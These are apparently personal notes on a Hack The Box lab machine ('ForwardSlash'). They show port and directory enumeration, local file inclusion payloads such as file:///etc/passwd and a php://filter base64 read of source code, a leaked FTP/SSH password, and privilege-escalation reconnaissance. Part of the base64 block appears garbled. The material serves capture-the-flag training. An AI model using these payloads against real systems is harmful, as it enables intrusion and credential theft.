WFUZZ TO LOOK FOR DOMAINS

LFI

BASE64 ENCODING

PORT   STATE SERVICE VERSION

22/tcp open ssh   OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 2048 3c:3b:eb:54:96:81:1d:da:d7:96:c7:0f:b4:7e:e1:cf (RSA)

| 256 f6:b3:5f:a2:59:e3:1e:57:35:36:c3:fe:5e:3d:1f:66 (ECDSA)

|_ 256 1b:de:b8:07:35:e8:18:2c:19:d8:cc:dd:77:9c:f2:5e (ED25519)

80/tcp open http   Apache httpd 2.4.29 ((Ubuntu))

|_http-server-header: Apache/2.4.29 (Ubuntu)

|_http-title: Backslash Gang

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

http://forwardslash.htb/

root@kali:/home/kali/Desktop/hackthebox/forwardslash# gobuster dir -u http://forwardslash.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .txt

http://forwardslash.htb/note.txt

Pain, we were hacked by some skids that call themselves the "Backslash Gang"... I know... That name...

Anyway I am just leaving this note here to say that we still have that backup site so we should be fine.

-chiv

wfuzz --hh 0 -H 'Host: FUZZ.forwardslash.htb' -u http://10.10.10.183/ --hc 400 -w /usr/share/wordlists/wfuzz/general/common.txt -c

- -hh = for hinding the result which has content length 0
- -hc = for hiding result which have response **400**
- -c = for making the result colorful

ID   Response   Lines   Word   Chars   Payload

==========

000000055:   302   0 L   6 W   33 Ch   "backup"

http://backup.forwardslash.htb/login.php

root@kali:/home/kali/Desktop/hackthebox/forwardslash# gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -r -k -x "txt,html,php,asp,aspx,jpg" -u http://backup.forwardslash.htb/

/index.php (Status: 200)

/login.php (Status: 200)

/register.php (Status: 200)

/welcome.php (Status: 200)

/dev (Status: 403)

/api.php (Status: 200)

/environment.php (Status: 200)

/logout.php (Status: 200)

/config.php (Status: 200)

/hof.php (Status: 200)

http://backup.forwardslash.htb/register.php

register an account

akg

akg123

http://backup.forwardslash.htb/welcome.php

http://backup.forwardslash.htb/profilepicture.php

This has all been disabled while we try to get back on our feet after the hack.

-Pain

Inspect element→change disabled values to enabled

LFI

POST /profilepicture.php HTTP/1.1

Host: backup.forwardslash.htb

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://backup.forwardslash.htb/profilepicture.php

Content-Type: application/x-www-form-urlencoded

Content-Length: 22

Connection: close

Cookie: PHPSESSID=q7k2r1j1atsk3pda57eh7kbac0

Upgrade-Insecure-Requests: 1

url=file:///etc/passwd

http://backup.forwardslash.htb/dev/

url=file:///var/www/backup.forwardslash.htb/dev/index.php

RESPONSE:

Permission Denied; not that way ;)

BASE64

url=php://filter/convert.base64-encode/resource=file:///var/www/backup.forwardslash.htb/dev/index.php

RESPONSE:

PD9waHAKLy9pbmNsdWRlX29uY2UgLi4vc2Vzc2lvbi5waHA7Ci8vIEluaXRpYWxpemUgdGhlIHNlc3Npb24Kc2Vzc2lvbl9zdGFyd
CgpOwoKaWYoKCFpc3NldCgkX1NFU1NJT05bImxvZ2dlZGluIl0pIHx8ICRfU0VTU0lPTlsibG9nZ2VkaW4iXSAhPT0gdHJ1ZSB8fCA
kX1NFU1NJT05bJ3VzZXJuYW1lJ10gIT09ICJhZG1pbiIpIHsKICAgIGVjaG8gIjxoMT40MDMgQWNjZXNzIERlbmllZDwv
aDE+IjsKICAgIGVjaG8gIjxoMz5BY2Nlc3MgRGVuaWVkIEZyb20gbGlwgJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10sICI8L2gzPiI7CiAgIC
AvL2VjaG8gIjxoMj5SZWRpcmVjdGluZyB0byBsb2dpbiBpbiAzIHNlY29uZHM8L2gyPiIKICAgIC8vZWNobyAnPG1ldGEgaHR0cC1lc
XVpdj0icmVmcmVzaCIgY29udGVudD0iMzt1cmw9Li4vbG9naW4ucGhwIiAvPic7CiAgICAvL2hlYWRlcigibG9jYXRpb246IC4uL2x
vZ2luLnBocCIpOwogICAgZXhpdDsKfQo/Pgo8aHRtbD4KCTx0aXRsZT5GaXMgaXMgb3JtIGFwaSB0ZXN0IGZvciB3aGVuIG91cnNlbHZlc
0IHR5cGU9InN1Ym1pdCI+Cgk8L2Zvcm0+Cgo8L2h0bWw+Cgo8L2h2bGFpRE86CkZpeCBGVFAgTG9naW4KLS0+Cgo8P3BocAppZi
AoJF9TRVJWRVJbJ1JFUVVFU1RfTUVUSE9EJ10gPT09ICJHRVQiICYmIGlzc2V0KCRfR0VUWyd4bWwnXSkpIHsKCgkkcmVnID0gJy
9mdHA6XC9cL1tcc1xTXSpcL1wiLyc7CgkvLyRyZWcgPSAnLygoKCgyNVswLTVdKXwoMlswLTRdXGQpfChbMDFdP1xkP1xkKSkpX
C4pezN9KCgoKDI1WzAtNV0pfCgyWzAtNF1cZCl8KFswMV0/XGQ/XGQpKSkpLycKCglpZiAocHJlZ19tYXRjaCgkcmVnLCAkX0dFV
FsneG1sJ10sICRtYXRjaCkpIHsKCQkkaXAgPSBleHBsb2RlKCcvJywgJG1hdGNoWzBdKVsyXTsKCQllY2hvICRpcDsKCQllcnJvcl9sb2c
oIkNvbm5lY3RpbmciKTsKCgJJGNvbm5faWQgPSBmdHBfY29ubmVjdCgkaXApIG9yIGRpZSgiQ291bGRuJ3QgY29ubmVjdCB0b
yAkaXBcbiIpOwoKCQllcnJvcl9sb2coIkxvZ2dpbmcgaW4iKTsKCgkJaWYgKEBmdHBfbG9naW4oJGNvbm5faWQsICJjaGl2IiwgJ04

wYm9keUwxa2VzQmFjay8nKSkgewoKCQkJZXJyb3JfbG9nKCJHZXR0aW5nIGZpbGUiKTsKCQkJZWNobyBmdHBfZ2V0X3N0cmlu
ZygkY29ubl9pZCwgImRlYnVnLnR4dCIpOwoJCX0KCgkJZXhpdDsKCX0KCglsaWJ4bWxfZGlzYWJsZV9lbnRpdHlfbG9hZGVyIChmY
WxzZSk7CgkkeG1sZmlsZSA9ICRfR0VUWyJ4bWwiXTsKCSRkb20gPSBuZXcgRE9NRG9jdW1lbnQoKTsKCSRkb20tPmxvYWRYTU
woJHhtbGZpbGUsIExJQlhNTF9OT0VOVCB8IExJQlhNTF9EVERMT0FEKTsKCSRhcGkgPSBzaW1wbGV4bWxfaW1wb3J0X2RvbSg
kZG9tKTsKCSRyZXEgPSAkYXBpLT5yZXF1ZXN0OwoJZWNobyAiLS0tLS1vdXRwdXQtLS0tLTxicj5cclxuIjsKCWVjaG8gIiRyZXEiOwp
9CgpmdW5jdGlvbiBmdHBfZ2V0X3N0cmluZygkZnRwLCAkZmlsZW5hbWUpIHsKICAgICR0ZW1wID0gZm9wZW4oJ3BocDovL3R
lbXAnLCAncisnKTsKICAgIGlmIChAZnRwX2ZnZXQoJGZ0cCwgJHRlbXAsICRmaWxlbmFtZSwgRlRQX0JJTkFSWSwgMCkpIHsKICAg
ICAgICByZXdpbmQoJHRlbXApOwogICAgICAgIHJldHVybiBzdHJlYW1fZ2V0X2NvbnRlbnRzKCR0ZW1wKTsKICAgIH0KICAgIGVsc2
UgewogICAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KfQoKPz4K

```
<?php
//include_once ../session.php;
// Initialize the session
session_start();

if((!isset($_SESSION["loggedin"]) || $_SESSION["loggedin"] !== true || $_SESSION['username'] !== "admin") && $_SERVER['REMOTE_ADDR'] !== "127.0.0.1"){
  header('HTTP/1.0 403 Forbidden');
  echo "<h1>403 Access Denied</h1>";
  echo "<h3>Access Denied From ", $_SERVER['REMOTE_ADDR'], "</h3>";
  //echo "<h2>Redirecting to login in 3 seconds</h2>"
  //echo '<meta http-equiv="refresh" content="3;url=../login.php" />';
  //header("location: ../login.php");
  exit;
}
?>
<html>
		<h1>XML Api Test</h1>
		<h3>This is our api test for when our new website gets refurbished</h3>
		<form action="/dev/index.php" method="get" id="xmltest">
			<textarea name="xml" form="xmltest" rows="20" cols="50"><api>
  <request>test</request>
</api>
</textarea>
```

```
                <input type="submit">
        </form>

</html>

<!-- TODO:
Fix FTP Login
-->

<?php
if ($_SERVER['REQUEST_METHOD'] === "GET" && isset($_GET['xml'])) {

        $reg = '/ftp:\/\/[\s\S]*\/\"/';
        //$reg = '/((((25[0-5])|(2[0-4]\d)|([01]?\d?\d)))\.){3}((((25[0-5])|(2[0-4]\d)|([01]?\d?\d)))/'

        if (preg_match($reg, $_GET['xml'], $match)) {
                $ip = explode('/', $match[0])[2];
                echo $ip;
                error_log("Connecting");

                $conn_id = ftp_connect($ip) or die("Couldn't connect to $ip\n");

                error_log("Logging in");

                if (@ftp_login($conn_id, "chiv", 'N0bodyL1kesBack/')) {

                        error_log("Getting file");
                        echo ftp_get_string($conn_id, "debug.txt");
                }

                exit;
```

```
        }


        libxml_disable_entity_loader (false);
        $xmlfile = $_GET["xml"];
        $dom = new DOMDocument();
        $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
        $api = simplexml_import_dom($dom);
        $req = $api->request;
        echo "-----output-----<br>\r\n";
        echo "$req";
}


function ftp_get_string($ftp, $filename) {
   $temp = fopen('php://temp', 'r+');
   if (@ftp_fget($ftp, $temp, $filename, FTP_BINARY, 0)) {
      rewind($temp);
      return stream_get_contents($temp);
   }
   else {
      return false;
   }
}


?>
if (@ftp_login($conn_id, "chiv", 'N0bodyL1kesBack/')) {
N0bodyL1kesBack/
root@kali:/home/kali/Desktop/hackthebox/forwardslash# ssh chiv@forwardslash.htb
PRIVESC TO USER
chiv@forwardslash:~$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/backup
```

chiv@forwardslash:/var/www/backup.forwardslash.htb$ backup

Pain's Next-Gen Time Based Backup Viewer

v0.1

NOTE: not reading the right file yet,

only works if backup is taken in same second

Current Time: 14:04:42

ERROR: 80ca4c47b3bf8606596cffa765e090e0 Does Not Exist or Is Not Accessible By Me, Exiting..

Su pain:

db1f73a72678e857d91e71d2963a1afa9efbabb32164cc1d94dbc704

pain@forwardslash:~$ cat note.txt

Pain, even though they got into our server, I made sure to encrypt any important files and then did some crypto magic on the key... I gave you the key in person the other day, so unless these hackers are some crypto experts we should be good to go.

pain@forwardslash:~$ sudo -l

Matching Defaults entries for pain on forwardslash:

env_reset, mail_badpass,

secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User pain may run the following commands on forwardslash:

(root) NOPASSWD: /sbin/cryptsetup luksOpen *

(root) NOPASSWD: /bin/mount /dev/mapper/backup ./mnt/

(root) NOPASSWD: /bin/umount ./mnt/